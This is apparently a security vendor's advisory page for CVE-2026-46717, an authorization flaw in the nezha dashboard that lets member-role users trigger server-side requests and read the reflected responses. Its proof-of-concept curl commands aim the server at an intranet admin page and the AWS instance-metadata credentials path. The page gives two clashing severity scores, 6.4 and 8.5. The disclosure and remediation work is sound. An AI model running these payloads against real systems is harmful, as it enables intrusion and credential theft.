CVE-2026-46717

CVE-2026-46717 is a high-severity incorrect authorization vulnerability in github.com/nezhahq/nezha (go), affecting versions >= 1.4.0, < 1.14.15-0.20260517022419-d06d539d34c1. It is fixed in 1.14.15-0.20260517022419-d06d539d34c1.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Nezha Monitoring: RoleMember-reachable SSRF with full response-body reflection via POST /api/v1/notification

nezha's dashboard supports two user roles: RoleAdmin (Role==0) and RoleMember (Role==1). The notification routes POST /api/v1/notification and PATCH /api/v1/notification/:id are wired through commonHandler rather than adminHandler, so a RoleMember user can call them. These handlers synchronously Send() an HTTP request to a user-controlled URL and reflect the entire response body (no size limit) back to the caller on any non-2xx response.

Net effect: a low-privilege RoleMember can read intranet HTTP response bodies via the dashboard's hub.

Affected versions

Commit 50dc8e660326b9f22990898142c58b7a5312b42a and earlier on master.

Reachability chain

cmd/dashboard/controller/controller.go:121-122
    auth.GET("/notification", listHandler(listNotification))
    auth.POST("/notification", commonHandler(createNotification))   // <-- commonHandler, not adminHandler

For comparison, /user routes ARE gated by adminHandler:

auth.GET("/user", adminHandler(listUser))
auth.POST("/user", adminHandler(createUser))
auth.POST("/batch-delete/user", adminHandler(batchDeleteUser))

adminHandler (controller.go:220-236) explicitly enforces user.Role.IsAdmin(). commonHandler (controller.go:214-218) does not.

The vulnerable handler

// cmd/dashboard/controller/notification.go:46-83
func createNotification(c *gin.Context) (uint64, error) {
    var nf model.NotificationForm
    if err := c.ShouldBindJSON(&nf); err != nil { return 0, err }
    var n model.Notification
    n.UserID = getUid(c)
    n.Name = nf.Name
    n.RequestMethod = nf.RequestMethod
    n.RequestType = nf.RequestType
    n.RequestHeader = nf.RequestHeader
    n.RequestBody = nf.RequestBody
    n.URL = nf.URL
    ...
    ns := model.NotificationServerBundle{Notification: &n, Server: nil, Loc: singleton.Loc}
    if !nf.SkipCheck {
        if err := ns.Send(singleton.Localizer.T("a test message")); err != nil {
            return 0, err   // <-- err.Error() reflects up to caller via newErrorResponse
        }
    }
    ...
}

Identical pattern in updateNotification (PATCH /notification/:id) at lines 97-146.

The reflection sink

// model/notification.go:113-159
func (ns *NotificationServerBundle) Send(message string) error {
    var client *http.Client
    n := ns.Notification
    if n.VerifyTLS != nil && *n.VerifyTLS {
        client = utils.HttpClient
    } else {
        client = utils.HttpClientSkipTlsVerify
    }
    reqBody, err := ns.reqBody(message)
    if err != nil { return err }
    reqMethod, err := n.reqMethod()
    if err != nil { return err }
    req, err := http.NewRequest(reqMethod, ns.reqURL(message), strings.NewReader(reqBody))
    if err != nil { return err }
    n.setContentType(req)
    if err := n.setRequestHeader(req); err != nil { return err }
    resp, err := client.Do(req)
    if err != nil { return err }
    defer func() { _ = resp.Body.Close() }()
    if resp.StatusCode < 200 || resp.StatusCode > 299 {
        body, _ := io.ReadAll(resp.Body)   // <-- NO io.LimitReader
        return fmt.Errorf("%d@%s %s", resp.StatusCode, resp.Status, string(body))
    } else {
        _, _ = io.Copy(io.Discard, resp.Body)
    }
    return nil
}

The full body (no size limit) is concatenated into an error string. That error flows through commonHandler → handle() → newErrorResponse(err) → c.JSON(http.StatusOK, ...). The intranet response body is JSON-encoded back to the RoleMember caller.

Additional wrinkle: client = utils.HttpClientSkipTlsVerify when VerifyTLS is false, attacker-controlled. So the SSRF works against TLS endpoints too, ignoring cert validation.

PoC

A. Read intranet admin-panel response body

curl -X POST -H "Authorization: Bearer <member-jwt>" \
  -H "Content-Type: application/json" \
  -d '{"name":"x","url":"http://192.168.1.1/admin/index.html","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
  http://nezha-dashboard.example.com/api/v1/notification

Response:

{"success":false,"error":"401@Unauthorized <full HTML body of the admin login page, no size limit>"}

B. AWS IMDSv2 reachability + body leak

curl -X POST -H "Authorization: Bearer <member-jwt>" \
  -H "Content-Type: application/json" \
  -d '{"name":"x","url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","request_method":1,"request_type":1,"verify_tls":false,"skip_check":false}' \
  http://nezha-dashboard.example.com/api/v1/notification

IMDSv2 returns 401 with a body explaining the missing token; that body is reflected.

C. DoS via large internal file

Because the body is read via unbounded io.ReadAll, a RoleMember pointing at any internal large-file URL (logs, package mirrors, video) blows up dashboard memory.

Severity

  • CVSS 3.1: Medium, AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L ≈ 6.4. PR:L because attacker needs a RoleMember account (admin-issued). C:L because intranet response bodies can be read but typically not full credentials. A:L because of the unbounded body-read DoS.
  • Auth: authenticated RoleMember (Role == 1).

Reproduction environment

  • Tested against: nezhahq/nezha:v0.x (commit 50dc8e660326b9f22990898142c58b7a5312b42a).
  • Code locations:
    • Handler: cmd/dashboard/controller/notification.go:46-83, 97-146
    • Sink: model/notification.go:113-159
    • Auth gate: cmd/dashboard/controller/controller.go:121-122 (commonHandler), 214-236 (handler defs)

Reporter

Eddie Ran. Filed via reporter API (PVR enabled). nezha's SECURITY.md mentions email [email protected] for vulnerability reports, happy to also send via email if the maintainer prefers.

Impact

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-46717 has a CVSS score of 8.5 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.14.15-0.20260517022419-d06d539d34c1); upgrading removes the vulnerable code path.

Affected versions

github.com/nezhahq/nezha (>= 1.4.0, < 1.14.15-0.20260517022419-d06d539d34c1)

Security releases

github.com/nezhahq/nezha → 1.14.15-0.20260517022419-d06d539d34c1 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

  1. Switch /notification routes to adminHandler. Same fix for /alert-rule, /cron, /ddns if they also issue user-URL requests synchronously. Compare with how /user is already guarded.

    auth.POST("/notification", adminHandler(createNotification))
    auth.PATCH("/notification/:id", adminHandler(updateNotification))
    
  2. SSRF-harden NotificationServerBundle.Send():

    • Resolve URL host once via net.LookupIP; refuse private/loopback/link-local/CGNAT.
    • Pin http.Transport.DialContext to the resolved IP, closes DNS-rebinding TOCTOU.
    • Refuse non-http(s) schemes.
  3. Cap response body: io.LimitReader(resp.Body, 4096). 4 KB is plenty for surfacing webhook errors.

  4. Reconsider VerifyTLS=false toggle on RoleMember-reachable paths, if the route remains member-reachable, at minimum cert validation should be enforced.

Frequently Asked Questions

  1. What is CVE-2026-46717? CVE-2026-46717 is a high-severity incorrect authorization vulnerability in github.com/nezhahq/nezha (go), affecting versions >= 1.4.0, < 1.14.15-0.20260517022419-d06d539d34c1. It is fixed in 1.14.15-0.20260517022419-d06d539d34c1. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
  2. How severe is CVE-2026-46717? CVE-2026-46717 has a CVSS score of 8.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/nezhahq/nezha are affected by CVE-2026-46717? github.com/nezhahq/nezha (go) versions >= 1.4.0, < 1.14.15-0.20260517022419-d06d539d34c1 is affected.
  4. Is there a fix for CVE-2026-46717? Yes. CVE-2026-46717 is fixed in 1.14.15-0.20260517022419-d06d539d34c1. Upgrade to this version or later.
  5. Is CVE-2026-46717 exploitable, and should I be worried? Whether CVE-2026-46717 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-46717 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-46717? Upgrade github.com/nezhahq/nezha to 1.14.15-0.20260517022419-d06d539d34c1 or later.

Other vulnerabilities in github.com/nezhahq/nezha

Stop the waste.
Protect your environment with Kodem.